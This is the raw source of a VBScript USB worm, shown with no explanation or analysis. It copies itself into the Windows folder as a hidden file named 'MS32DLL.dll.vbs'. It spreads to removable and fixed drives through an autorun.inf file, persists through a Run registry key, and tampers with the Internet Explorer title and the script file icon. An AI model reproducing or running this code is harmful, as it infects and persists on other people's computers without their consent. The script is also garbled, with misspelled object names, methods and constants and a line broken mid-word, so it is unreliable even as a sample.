on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbclf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openaastextstream(1,2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbclf
loop
do
set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath &"\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath &"\MS32DLL.dll.vbs",2,true)
tf.writemysource
tf.close
set tf = fs.getfile(winpath &"\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drive
if(flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:"then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes = 39
set tf=fs.getfile(flashdrive.pathn &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf=fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScipt.Shell")
rg.regwrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",wi
npath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wsript.shell")
sd.run winpath&"\explorer.exe/e,/select,"&Wscript.ScriptFullname
